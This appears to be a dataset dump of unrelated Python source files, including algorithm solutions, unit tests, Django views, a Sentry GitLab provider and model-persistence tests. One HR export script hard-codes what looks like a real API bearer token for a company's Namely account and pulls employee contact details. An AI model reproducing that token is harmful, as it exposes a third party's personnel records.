= -1\n for i in range(len(nums)):\n val = nums[i]\n if val < 0:\n n_neg += 1\n if not oddfound:\n i_odd_first = i\n i_odd_last = i\n oddfound = True\n else:\n i_odd_last = i\n if val == 0:\n i_zero = i\n\n if i_zero == -1: # no zero\n if n_neg % 2 == 0: # even number of negative numbers\n return self.product(nums)\n else: # odd number of negative numbers\n return max(self.maxProduct(nums[:i_odd_last]), self.maxProduct(nums[i_odd_first + 1:]))\n else:\n return max(0, self.maxProduct(nums[:i_zero]), self.maxProduct(nums[i_zero + 1:]))\n\n\nif __name__ == \"__main__\":\n assert Solution().maxProduct([-2]) == -2, \"Edge 0\"\n assert Solution().maxProduct([2, 3, -2, 4]) == 6, \"Example 1\"\n assert Solution().maxProduct([-2, 0, -1]) == 0, \"Example 2\"\n #\n print(\"All passed\")\n","sub_path":"LeetCode/LC152_maximum_product_subarray.py","file_name":"LC152_maximum_product_subarray.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"644414713","text":"import io\nimport sys\nimport openpyxl\nimport re\n\n\n# Change the default encoding of standard output\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf8')\n\nstatus_tracker_file = \"C:\\\\Users\\\\bichao\\\\Desktop\\\\Ariel_DCN2KA_IP_Diagnostics_Status_Tracker.xlsx\"\nreport_result_file = \"C:\\\\Users\\\\bichao\\Desktop\\\\Daily_report\\\\get_Eric_case.txt\"\n\nreport_result = open(report_result_file, \"w+\", encoding='utf8')\n\n\n# read the Status Tracker\nwb = openpyxl.load_workbook(status_tracker_file)\nall_sheets = wb.sheetnames\nprint(\"Get the status tracker all sheet ... \")\nprint(all_sheets)\n\n# report sprite and legacy case\neric_case = []\n\n\ndef find_false_in_sheet(sheet):\n for column in sheet.iter_cols():\n for cell in column:\n if re.search('Eric|eric', str(cell.value)):\n# print(cell.value + sheet.cell(row=cell.row, column=3).value + sheet.cell(row=cell.row, column=4).value)\n if cell.column == 'C':\n eric_case.append((\"NULL\" if sheet.cell(row=cell.row, column=6).value == None else sheet.cell(row=cell.row, column=6).value)\n + ' \\t ' + (\"NULL\" if sheet.cell(row=cell.row, column=4).value == None else sheet.cell(row=cell.row, column=4).value)\n + ' \\t ' + (\"NULL\" if sheet.cell(row=cell.row, column=5).value == None else sheet.cell(row=cell.row, column=5).value)\n + ' \\t ' + cell.value)\n\n\nfor i in range(len(all_sheets)):\n sheet = wb[all_sheets[i]]\n find_false_in_sheet(sheet)\n\n\nprint(\"Get the status tracker all sheet with owner ... \")\neric_case.sort()\nprint(len(eric_case))\nprint(eric_case)\nreport_result.write(\"get sprite and legacy case ...\\n\")\nfor report in eric_case:\n report_result.write(report+\"\\n\")\n","sub_path":"Get_Eric_legacy_case.py","file_name":"Get_Eric_legacy_case.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"158867207","text":"#!/usr/bin/env python\n\nimport unittest\nfrom datetime import datetime\nfrom raccoon import ds, indicators\n\n\nclass SimpleMovingAverageIndicator(unittest.TestCase):\n def test_eq(self):\n stock1 = ds.StockRecord('COMP1', datetime(2015, 1, 1), open=0, close=0, high=0, low=0, volume=0)\n stock2 = ds.StockRecord('COMP1', datetime(2015, 1, 1), open=0, close=10, high=0, low=0, volume=0)\n stock3 = ds.StockRecord('COMP1', datetime(2015, 1, 1), open=0, close=26, high=0, low=0, volume=0)\n history = ds.StockHistory('COMP1')\n history.add(stock1)\n history.add(stock2)\n history.add(stock3)\n sma = indicators.SimpleMovingAverageIndicator(window_size=1)\n\n values = sma.calculate(history)\n\n self.assertEqual(values[0], 0)\n self.assertEqual(values[1], 10)\n self.assertEqual(values[2], 26)\n\n sma = indicators.SimpleMovingAverageIndicator(window_size=2)\n\n values = sma.calculate(history)\n\n self.assertEqual(values[1], 5)\n self.assertEqual(values[2], 18)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_indicators.py","file_name":"test_indicators.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"497744367","text":"# Require the appropriate modules for the Python script to work properly\n# requests: Required to make HTTP requests\n# json : Required to parse JSON object retrieved from Namely API\n# re : Regular Expressions module\n\nimport requests\nimport json\nimport time\nimport re\nimport shutil\n\n# Important Release Notes Regarding Namely\n# Initially slated for a 9/15/17, as of 9/20/17, in efforts to maintain best API practice, \n# we are no longer allowing unlimited profile retrievals in a single API call. We are \n# asking our clients and partners to ensure that they follow pagination of /profiles \n# endpoint to ensure optimal performance and prevention of possible time-outs.\n\n# Due to issues identified on 9/27, the number of records per page was reduced from 50 to \n# 30 records.\n\n\n#Setup value for output file\nfrom datetime import date\ntoday = date.today()\n\noutputFile = \"dailyhrfeed_\" + today.strftime(\"%m%d%Y\") + \".csv\"\nf = open(outputFile, 'w')\n\n# Namely URL to retrieve employee data. Please refer to Namely developer \n# documentations for information regarding the parameters.\n\npageNum = 1\nrecsPerPage = 30\n\n#print (\"Current Page Number: \" + str(pageNum))\n\nwhile True:\n\n\n url = \"https://omadahealth.namely.com/api/v1/profiles.json?page=\" + str(pageNum) + \"&per_page=\" + str(recsPerPage)\n print (\"URL:\" + url)\n payload = \"{}\"\n\n # The personal access token is generated by HR for our API user.\n headers = {'authorization': 'Bearer 3t93XpdVjCW6OTHUGCOHHFafaLO0XCpB1sKO8KdwbqehrygAkMPSfDeMUiXmo131'}\n\n # Store the the HTTP request to the response object\n response = requests.request(\"GET\", url, data=payload, headers=headers)\n\n # Convert JSON object to a dictionary object\n json_data = json.loads(response.text)\n \n # Establish an item count to see if we are at the last page\n # of the Namely results.\n itemCount = 0\n\n # Step through the JSON object and pull out employee attributes\n for item in json_data[\"profiles\"]:\n itemCount = itemCount + 1\n #print (\"Item: \" + str(itemCount))\n email = item[\"email\"]\n first_name = item[\"first_name\"]\n last_name = item[\"last_name\"]\n preferred_name = item[\"preferred_name\"]\n full_name = item[\"full_name\"]\n employee_type = item[\"employee_type\"][\"title\"]\n user_status = item[\"user_status\"]\n job_title = item[\"links\"][\"job_title\"][\"title\"]\n reports_to = item[\"reports_to\"][0][\"email\"]\n start_date = item[\"start_date\"]\n departure_date = item[\"departure_date\"]\n employee_id = item[\"id\"]\n office_phone = item[\"office_phone\"]\n home_phone = item[\"home_phone\"]\n mobile_phone = item[\"mobile_phone\"]\n \n if item[\"image\"] is None:\n image = \"No Image\"\n else:\n image = item[\"image\"][\"original\"]\n image_url = \"https://omadahealth.namely.com\" + image\n print ('image URL for ' + email + ':' + image_url)\n response_image = requests.get(image_url, stream=True, headers=headers)\n image_file_name = first_name + \"_\" + last_name + \".png\"\n \n with open(image_file_name, 'wb') as out_file:\n shutil.copyfileobj(response_image.raw, out_file)\n del response_image\n \n #print (\"Processing Employee: \" + email)\n \n if home_phone == None:\n home_phone = ''\n elif home_phone != '':\n home_phone = \"+1\" + re.sub('[^0-9]','', home_phone)\n\n if mobile_phone == None:\n mobile_phone = ''\n elif mobile_phone != '':\n mobile_phone = \"+1\" + re.sub('[^0-9]','', mobile_phone)\n \n if office_phone == None:\n office_phone = ''\n elif office_phone != '':\n office_phone = \"+1\" + re.sub('[^0-9]','', office_phone)\n \n #print ('Home Phone for ' + email + ':' + home_phone)\n #print ('Mobile Phone for ' + email + ':' + mobile_phone) \n #print ('Office Phone for ' + email + ':' + office_phone)\n \n \n # Not all individuals have preferred names, so this will force a value to avoid\n # errors during the file write process\n if preferred_name == None:\n preferred_name = \"\"\n\n # Not all individuals have preferred names, so this will force a value to avoid\n # errors during the file write process\n if departure_date == '':\n departure_date = \"\"\n \n # The dictionary has a sub-dictionary to for the individual's work location\n for group in item[\"links\"][\"groups\"]:\n item_name = group[\"name\"]\n if item_name == \"Remote\":\n location = \"Remote\"\n elif item_name == \"San Francisco HQ\":\n location = \"San Francisco HQ\"\n else:\n department = item_name\n \n # Write information to semicolon delimited file. Please note that some job titles have comma's\n # e.g. VP, Information Technology and Security\n f.write(email + ';'\\\n + first_name + ';'\\\n + last_name + ';'\\\n + preferred_name + ';'\\\n + full_name + ';'\\\n + employee_type + ';'\\\n + user_status + ';'\\\n + job_title + ';'\\\n + reports_to + ';'\\\n + start_date + ';'\\\n + departure_date + ';'\\\n + location + ';'\\\n + department + ';'\\\n + employee_id + ';'\\\n + office_phone + ';'\\\n + home_phone + ';'\\\n + mobile_phone + '\\n')\n\n # Close file object\n f.closed\n \n if itemCount < recsPerPage:\n break\n else:\n pageNum = pageNum + 1\n","sub_path":"getNamelyRecs_v2.py","file_name":"getNamelyRecs_v2.py","file_ext":"py","file_size_in_byte":5204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"29809234","text":"from __future__ import absolute_import\n\nimport six\n\nfrom sentry.plugins import providers\nfrom sentry.models import Integration\n\n\nclass GitlabRepositoryProvider(providers.IntegrationRepositoryProvider):\n name = 'Gitlab'\n\n def get_installation(self, integration_id, organization_id):\n if integration_id is None:\n raise ValueError('%s requires an integration_id' % self.name)\n\n try:\n integration_model = Integration.objects.get(\n id=integration_id,\n organizations=organization_id,\n )\n except Integration.DoesNotExist as error:\n self.handle_api_error(error)\n\n return integration_model.get_installation(organization_id)\n\n def get_repository_data(self, organization, config):\n installation = self.get_installation(config['installation'], organization.id)\n client = installation.get_client()\n\n repo_id = config['identifier']\n instance = installation.model.metadata['domain_name']\n\n try:\n repo = client.get_project(six.text_type(repo_id))\n except Exception as e:\n installation.raise_error(e)\n config.update({\n 'instance': instance,\n 'path': repo['path_with_namespace'],\n 'name': repo['name_with_namespace'],\n 'repo_id': repo['id'],\n 'external_id': '%s:%s' % (instance, repo['path']),\n 'url': repo['web_url'],\n })\n return config\n\n def build_repository_config(self, organization, data):\n return {\n 'name': data['name'],\n 'external_id': data['external_id'],\n 'url': data['url'],\n 'config': {\n 'instance': data['instance'],\n 'repo_id': data['repo_id'],\n 'path': data['path']\n },\n 'integration_id': data['installation'],\n }\n","sub_path":"src/sentry/integrations/gitlab/repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"507453510","text":"import logging\nimport json\n\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.views import LoginView\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.urls import reverse_lazy\nfrom django.views.generic import ListView, View\n\nfrom .forms import RegistrationForm, ProfileForm, AuthForm\nfrom .models import Users\nfrom myproj.celery_app import app\nfrom users.tasks import deactivate_user\n\nlogger = logging.getLogger('custom_logger')\n\ndef get_current_user(request):\n return render(request, 'users/loggedin.html')\n\n\ndef user_logout(request):\n logout(request)\n return HttpResponseRedirect('/index/')\n\ndef block_login_page(request):\n if request.user.is_authenticated:\n logger.debug(\"User %s is authenticated\", request.user)\n return HttpResponseRedirect('/index/')\n else:\n logger.info(\"User is not authenticated\")\n return LoginView(**{\"request\": request, \"template_name\":'users/login.html',\n \"authentication_form\": AuthForm}).post(request)\n\n\ndef register_user(request):\n if request.POST:\n form = RegistrationForm(request.POST, request.FILES)\n if form.is_valid():\n logger.debug(\"New user registered.\")\n form.save()\n return HttpResponseRedirect(reverse_lazy('index:index'))\n else:\n return render(request, 'users/registration.html', context={\n 'form': form\n })\n else:\n return render(request, 'users/registration.html', context={\n 'form': RegistrationForm()\n })\n\n\n@login_required(login_url='/index/login/')\ndef profile(request):\n if request.method == 'POST':\n form = ProfileForm(request.POST, request.FILES,\n instance=request.user)\n\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse_lazy('index:index'))\n else:\n return render(request, 'users/profile.html', context={\n 'form': form\n })\n else:\n return render(request, 'users/profile.html', context={\n 'form': ProfileForm(instance=request.user),\n })\n\n\nclass UsersView(ListView):\n template_name = 'users/index.html'\n context_object_name = 'users_list'\n model = Users\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context_data = super().get_context_data(object_list=object_list, **kwargs)\n logger.debug(\"context: %s\", context_data['page_obj'])\n result = app.send_task('square_root', args=(4,))\n print(result.ready())\n print(result.ready())\n print(result.get(timeout=5))\n # result = deactivate_user.apply_async()\n # print(result.ready())\n return context_data\n\n\nclass Log(View):\n def post(self, request):\n print (request.POST.get('log', False))\n return render(request, 'users/loggedin.html')\n","sub_path":"test_user/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"584588631","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation, cm\nimport seaborn as sns\n\nwith open(\"output.txt\", \"r\") as infile:\n lines = infile.readlines()\n\ncurrent_pos = []\n\nfor i, line in enumerate(lines):\n line = line.split(\";\")[:-1]\n cpos = np.array(line[-1].strip(\"[]\").split(\",\"), dtype = np.float64)\n current_pos.append(cpos + 0.5)\n line = line[:-1]\n for j, item in enumerate(line):\n line[j] = np.array(item.strip(\"[]\").split(\",\"), dtype = np.float64)\n lines[i] = np.array(line)\n\nlines = np.array(lines)\nmapsize = (32,32)\n\nframe = 0\nx = lines[frame,:,0]\ny = lines[frame,:,1]\ncf_x = lines[frame,:,2]\ncf_y = lines[frame,:,3]\ngscores = lines[frame,:,4]\nfscores = lines[frame,:,5]\ncosts = lines[frame,:,6]\nopen_set = lines[frame,:,7]\n\nfig = plt.figure(figsize = (12,12))\n\nsquare_gscores = np.reshape(gscores, mapsize)\nsquare_costs = np.reshape(costs, mapsize)\n\nsquare_costs[square_costs == np.inf] = 0\n\nax2 = sns.heatmap(square_costs, square=True, cbar=False, vmax = 1, vmin = 0)\nax = sns.heatmap(square_gscores, square=True, cbar=False, annot=True, vmax = 100, cmap = cm.winter)\nopenset_x = x[open_set == 1] + 0.5\nopenset_y = y[open_set == 1] + 0.5\nscatr = plt.scatter(openset_x, openset_y, c = \"red\", alpha = 0.5, s = 50)\ncurmarker = plt.plot(current_pos[frame][0], current_pos[frame][1], marker = (4, 0, 0), color = \"green\", markersize = 10)\n\n\ndef init():\n plt.clf()\n ax2 = sns.heatmap(square_costs, square=True, cbar=False, vmax = 1, vmin = 0)\n ax = sns.heatmap(square_gscores, square=True, cbar=False, annot=True, vmax = 100, cmap = cm.winter)\n scatr = plt.scatter(openset_x, openset_y, c = \"red\", alpha = 0.5, s = 50)\n curmarker = plt.plot(current_pos[frame][0], current_pos[frame][1], marker = (4, 0, 0), color = \"green\", markersize = 10)\n\n\ndef animate(frame):\n print(f\"{frame/len(lines)*100:2.2f} \", end = \"\\r\")\n plt.clf()\n x = lines[frame,:,0]\n y = lines[frame,:,1]\n cf_x = lines[frame,:,2]\n cf_y = lines[frame,:,3]\n gscores = lines[frame,:,4]\n fscores = lines[frame,:,5]\n costs = lines[frame,:,6]\n open_set = lines[frame,:,7]\n square_gscores = np.reshape(gscores, mapsize)\n ax2 = sns.heatmap(square_costs, square=True, cbar=False, vmax = 1, vmin = 0)\n ax = sns.heatmap(square_gscores, square=True, cbar=False, annot=True, vmax = 100, cmap = cm.winter, fmt = \"2.2f\", annot_kws = {\"size\": 6})\n openset_x = x[open_set == 1] + 0.5\n openset_y = y[open_set == 1] + 0.5\n scatr = plt.scatter(openset_x, openset_y, c = \"red\", alpha = 0.5, s = 50)\n curmarker = plt.plot(current_pos[frame][0], current_pos[frame][1], marker = (4, 0, 0), color = \"green\", markersize = 10)\n plt.savefig(f\"output/{frame}.png\")\n\nsave_anim = True\nWriter = animation.writers['ffmpeg']\nwriter = Writer(fps=10, metadata=dict(artist='Me'), bitrate=3000)\n\nanim = animation.FuncAnimation(fig, animate, init_func = init, frames=len(lines), interval=10)\n\nif save_anim:\n print(\"Saving animation...\")\n anim.save(f\"output/movie.mp4\", writer=writer)\nplt.show()","sub_path":"visualize_cpp.py","file_name":"visualize_cpp.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"7639816","text":"from django.shortcuts import get_object_or_404\nfrom rest_framework import viewsets\nfrom rest_framework.response import Response\nfrom rest_framework.renderers import JSONRenderer\n\nfrom server.utils.cmaps import AVAILABLE_CMAPS\nfrom server.serializers import ColormapSerializer\nfrom server.utils.profile import trace\n\nfrom drf_yasg.utils import swagger_auto_schema\nfrom drf_yasg import openapi\n\nfrom typing import List, Tuple, TypeVar, Dict, Any\n\nimport numpy as np\n\nNumber = TypeVar('Number', int, float)\n\nclass ColormapViewSet(viewsets.ViewSet):\n renderer_classes=[JSONRenderer]\n\n stretch_min_param = openapi.Parameter(\n 'stretch_min',\n openapi.IN_QUERY,\n description=\"Minimum stretch range value\",\n type=openapi.TYPE_NUMBER,\n required=True\n )\n\n stretch_max_param = openapi.Parameter(\n 'stretch_max',\n openapi.IN_QUERY,\n description=\"Maximum stretch range value\",\n type=openapi.TYPE_NUMBER,\n required=True\n )\n\n colormap_param = openapi.Parameter(\n 'colormap',\n openapi.IN_QUERY,\n description=\"String representing colormap to apply to tile\",\n required=False,\n type=openapi.TYPE_STRING,\n enum=AVAILABLE_CMAPS\n )\n\n num_values_param = openapi.Parameter(\n 'num_values',\n openapi.IN_QUERY,\n description=\"Number of Values to return\",\n required=True,\n type=openapi.TYPE_INTEGER\n )\n\n @swagger_auto_schema(\n manual_parameters=[stretch_min_param, stretch_max_param, colormap_param, num_values_param],\n operation_id=\"colormap\"\n )\n def retrieve(self, request, stretch_min: Number = None, stretch_max: Number = None,\n colormap: str = None, num_values: int = 255) -> List[Dict[str, Any]]:\n \"\"\"Returns a list [{value=pixel value, rgba=rgba tuple}] for given stretch parameters\"\"\"\n from server.utils import image\n\n params = ColormapSerializer(data=request.query_params)\n params.is_valid(raise_exception=True)\n data = params.validated_data\n\n colormap = data.get('colormap', None)\n stretch_min = data.get('stretch_min', None)\n stretch_max = data.get('stretch_max', None)\n num_values = data.get('num_values', None)\n\n stretch_range = [stretch_min, stretch_max]\n \n target_coords = np.linspace(stretch_min, stretch_max, num_values)\n\n if colormap is not None:\n from server.utils.cmaps import get_cmap\n cmap = get_cmap(colormap)\n else:\n # assemble greyscale cmap of shape (255, 4)\n cmap = np.ones(shape=(255, 4), dtype='uint8') * 255\n cmap[:, :-1] = np.tile(np.arange(1, 256, dtype='uint8')[:, np.newaxis], (1, 3))\n\n cmap_coords = image.to_uint8(target_coords, *stretch_range) - 1\n colors = cmap[cmap_coords]\n values = [dict(value=p, rgba=c) for p, c in zip(target_coords.tolist(), colors.tolist())]\n payload = {'colormap': values}\n return Response(payload)","sub_path":"tcdjango/server/views/colormap.py","file_name":"colormap.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"557303804","text":"import json\nimport numpy as np\nimport os\nimport pandas as pd\nimport pickle\nimport re\nimport tempfile\nimport time\n\nimport galaxy_ml\n\nfrom nose.tools import nottest\nfrom sklearn.ensemble import (\n GradientBoostingClassifier,\n RandomForestClassifier\n)\nfrom sklearn.model_selection import StratifiedShuffleSplit\nfrom xgboost import XGBClassifier\nfrom galaxy_ml.keras_galaxy_models import KerasGClassifier\nfrom galaxy_ml import model_persist\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\n\n\ndf = pd.read_csv('./tools/test-data/pima-indians-diabetes.csv', sep=',')\nX = df.iloc[:, 0:8].values.astype(float)\ny = df.iloc[:, 8].values\n\nsplitter = StratifiedShuffleSplit(n_splits=1, random_state=0)\ntrain, test = next(splitter.split(X, y))\n\nX_train, X_test = X[train], X[test]\ny_train, y_test = y[train], y[test]\n\ngbc = GradientBoostingClassifier(n_estimators=101, random_state=42)\n\ngbc.fit(X_train, y_train)\n\nmodule_folder = (os.path.dirname(galaxy_ml.__file__))\ngbc_pickle = os.path.join(module_folder,\n './tools/test-data/gbc_model01.zip')\n_, tmp_gbc_pickle = tempfile.mkstemp(suffix='.zip')\n\ngbc_json = os.path.join(module_folder,\n './tools/test-data/gbc_model01.json')\ngbc_h5 = os.path.join(module_folder,\n 'tools/test-data/gbc_model01.h5')\n_, tmp_gbc_h5 = tempfile.mkstemp(suffix='.h5')\n\nxgbc_json = os.path.join(module_folder,\n 'tools/test-data/xgbc_model01.json')\nxgbc_h5 = os.path.join(module_folder,\n 'tools/test-data/xgbc_model01.h5')\n_, tmp_xgbc_h5 = tempfile.mkstemp(suffix='.h5')\n\nkgc_h5 = os.path.join(module_folder,\n 'tools/test-data/kgc_model01.h5')\n_, tmp_kgc_h5 = tempfile.mkstemp(suffix='.h5')\n\n\ndef teardown():\n os.remove(tmp_gbc_pickle)\n os.remove(tmp_gbc_h5)\n os.remove(tmp_xgbc_h5)\n os.remove(tmp_kgc_h5)\n\n\ndef test_jpickle_dumpc():\n # GradientBoostingClassifier\n got = model_persist.dumpc(gbc)\n r_model = model_persist.loadc(got)\n\n assert np.array_equal(\n gbc.predict(X_test),\n r_model.predict(X_test)\n )\n\n got.pop('-cpython-')\n\n with open(gbc_json, 'w') as f:\n json.dump(got, f, indent=2)\n\n with open(gbc_json, 'r') as f:\n expect = json.load(f)\n expect.pop('-cpython-', None)\n\n assert got == expect, got\n\n\ndef test_gbc_dump_and_load():\n\n print(\"\\nDumping GradientBoostingClassifier model using pickle...\")\n start_time = time.time()\n with open(tmp_gbc_pickle, 'wb') as f:\n pickle.dump(gbc, f, protocol=0)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"File size: %s\" % str(os.path.getsize(tmp_gbc_pickle)))\n diff = os.path.getsize(tmp_gbc_pickle) - os.path.getsize(gbc_pickle)\n assert abs(diff) < 50\n\n print(\"\\nDumping object to dict...\")\n start_time = time.time()\n model_dict = model_persist.dumpc(gbc)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n\n print(\"\\nDumping dict data to JSON file...\")\n start_time = time.time()\n with open(gbc_json, 'w') as f:\n json.dump(model_dict, f, sort_keys=True)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"File size: %s\" % str(os.path.getsize(gbc_json)))\n\n print(\"\\nLoading data from JSON file...\")\n start_time = time.time()\n with open(gbc_json, 'r') as f:\n json.load(f)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n\n print(\"\\nRe-build the model object...\")\n start_time = time.time()\n re_model = model_persist.loadc(model_dict)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"%r\" % re_model)\n\n print(\"\\nDumping object to HDF5...\")\n start_time = time.time()\n model_dict = model_persist.dump_model_to_h5(gbc, tmp_gbc_h5)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"File size: %s\" % str(os.path.getsize(tmp_gbc_h5)))\n diff = os.path.getsize(tmp_gbc_h5) - os.path.getsize(gbc_h5)\n assert abs(diff) < 20, os.path.getsize(gbc_h5)\n\n print(\"\\nLoading hdf5 model...\")\n start_time = time.time()\n model = model_persist.load_model_from_h5(tmp_gbc_h5)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n\n assert np.array_equal(\n gbc.predict(X_test),\n model.predict(X_test)\n )\n\n\n# CircleCI timeout with xgboost for no reason.\n@nottest\ndef test_xgb_dump_and_load():\n xgbc = XGBClassifier(n_estimators=101, random_state=42, n_jobs=1)\n\n model_persist.dump_model_to_h5(xgbc, tmp_xgbc_h5)\n model_persist.load_model_from_h5(tmp_xgbc_h5)\n\n xgbc.fit(X_train, y_train)\n\n got = model_persist.dumpc(xgbc)\n r_model = model_persist.loadc(got)\n\n assert np.array_equal(\n xgbc.predict(X_test),\n r_model.predict(X_test)\n )\n\n print(\"\\nDumping XGBC to dict...\")\n start_time = time.time()\n model_dict = model_persist.dumpc(xgbc)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n\n print(\"\\nDumping dict data to JSON file...\")\n start_time = time.time()\n with open(xgbc_json, 'w') as f:\n json.dump(model_dict, f, sort_keys=True)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"File size: %s\" % str(os.path.getsize(xgbc_json)))\n\n print(\"\\nLoading data from JSON file...\")\n start_time = time.time()\n with open(xgbc_json, 'r') as f:\n json.load(f)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n\n print(\"\\nRe-build the model object...\")\n start_time = time.time()\n re_model = model_persist.loadc(model_dict)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"%r\" % re_model)\n\n print(\"\\nDumping object to HDF5...\")\n start_time = time.time()\n model_persist.dump_model_to_h5(xgbc, tmp_xgbc_h5)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"File size: %s\" % str(os.path.getsize(tmp_xgbc_h5)))\n diff = os.path.getsize(tmp_xgbc_h5) - os.path.getsize(xgbc_h5)\n assert abs(diff) < 20, os.path.getsize(xgbc_h5)\n\n print(\"\\nLoading hdf5 model...\")\n start_time = time.time()\n model = model_persist.load_model_from_h5(tmp_xgbc_h5)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n\n assert np.array_equal(\n xgbc.predict(X_test),\n model.predict(X_test)\n )\n\n\n# KerasGClassifier\ndef test_keras_dump_and_load():\n\n train_model = Sequential()\n train_model.add(Dense(12, input_dim=8, activation='relu'))\n train_model.add(Dense(1, activation='softmax'))\n config = train_model.get_config()\n\n kgc = KerasGClassifier(config, loss='binary_crossentropy',\n metrics=['acc'], seed=42)\n\n kgc.fit(X_train, y_train)\n\n print(\"\\nDumping KerasGClassifer to HDF5...\")\n start_time = time.time()\n model_persist.dump_model_to_h5(kgc, tmp_kgc_h5)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n print(\"File size: %s\" % str(os.path.getsize(tmp_kgc_h5)))\n diff = os.path.getsize(tmp_kgc_h5) - os.path.getsize(kgc_h5)\n assert abs(diff) < 40, os.path.getsize(kgc_h5)\n\n print(\"\\nLoading hdf5 model...\")\n start_time = time.time()\n model = model_persist.load_model_from_h5(tmp_kgc_h5)\n end_time = time.time()\n print(\"(%s s)\" % str(end_time - start_time))\n\n assert np.array_equal(\n kgc.predict(X_test),\n model.predict(X_test)\n )\n\n\ndef test_safe_load_model():\n model = './tools/test-data/RandomForestRegressor01.zip'\n with open(model, 'rb') as fh:\n safe_unpickler = model_persist._SafePickler(fh)\n\n assert RandomForestClassifier == \\\n safe_unpickler.find_class('sklearn.ensemble._forest',\n 'RandomForestClassifier')\n\n test_folder = './tools/test-data'\n for name in os.listdir(test_folder):\n if re.match('^(?!.*(json|\\.h5|\\.h5mlm)).*(pipeline|model|regressor)\\d+.*$',\n name, flags=re.I):\n if name in ('gbr_model01_py3', 'rfr_model01'):\n continue\n model_path = os.path.join(test_folder, name)\n print(model_path)\n if model_path.endswith('.zip'):\n with open(model_path, 'rb') as fh:\n model_persist.safe_load_model(fh)\n else:\n model_persist.load_model_from_h5(model_path)\n\n\ndef test_find_members():\n got = model_persist.find_members('galaxy_ml.metrics')\n expect = [\n 'galaxy_ml.metrics._regression.spearman_correlation_score'\n ]\n assert got == expect, got\n\n got = model_persist.find_members('imblearn')\n expect = [\n \"imblearn.LazyLoader\",\n \"imblearn.base.BaseSampler\",\n \"imblearn.base.FunctionSampler\",\n \"imblearn.base.SamplerMixin\",\n \"imblearn.base._identity\",\n \"imblearn.combine._smote_enn.SMOTEENN\",\n \"imblearn.combine._smote_tomek.SMOTETomek\",\n \"imblearn.datasets._imbalance.make_imbalance\",\n \"imblearn.datasets._zenodo.fetch_datasets\",\n \"imblearn.ensemble._bagging.BalancedBaggingClassifier\",\n \"imblearn.ensemble._easy_ensemble.EasyEnsembleClassifier\",\n \"imblearn.ensemble._forest.BalancedRandomForestClassifier\",\n \"imblearn.ensemble._forest._local_parallel_build_trees\",\n \"imblearn.ensemble._weight_boosting.RUSBoostClassifier\",\n \"imblearn.exceptions.raise_isinstance_error\",\n \"imblearn.keras._generator.BalancedBatchGenerator\",\n \"imblearn.keras._generator.balanced_batch_generator\",\n \"imblearn.keras._generator.import_keras\",\n \"imblearn.metrics._classification.classification_report_imbalanced\",\n \"imblearn.metrics._classification.geometric_mean_score\",\n \"imblearn.metrics._classification.macro_averaged_mean_absolute_error\",\n \"imblearn.metrics._classification.make_index_balanced_accuracy\",\n \"imblearn.metrics._classification.sensitivity_score\",\n \"imblearn.metrics._classification.sensitivity_specificity_support\",\n \"imblearn.metrics._classification.specificity_score\",\n \"imblearn.metrics.pairwise.ValueDifferenceMetric\",\n \"imblearn.over_sampling._adasyn.ADASYN\",\n \"imblearn.over_sampling._random_over_sampler.RandomOverSampler\",\n \"imblearn.over_sampling._smote.base.BaseSMOTE\",\n \"imblearn.over_sampling._smote.base.SMOTE\",\n \"imblearn.over_sampling._smote.base.SMOTEN\",\n \"imblearn.over_sampling._smote.base.SMOTENC\",\n \"imblearn.over_sampling._smote.cluster.KMeansSMOTE\",\n \"imblearn.over_sampling._smote.filter.BorderlineSMOTE\",\n \"imblearn.over_sampling._smote.filter.SVMSMOTE\",\n \"imblearn.over_sampling.base.BaseOverSampler\",\n \"imblearn.pipeline.Pipeline\",\n \"imblearn.pipeline._fit_resample_one\",\n \"imblearn.pipeline.make_pipeline\",\n \"imblearn.tensorflow._generator.balanced_batch_generator\",\n \"imblearn.under_sampling._prototype_generation._cluster_centroids.ClusterCentroids\",\n 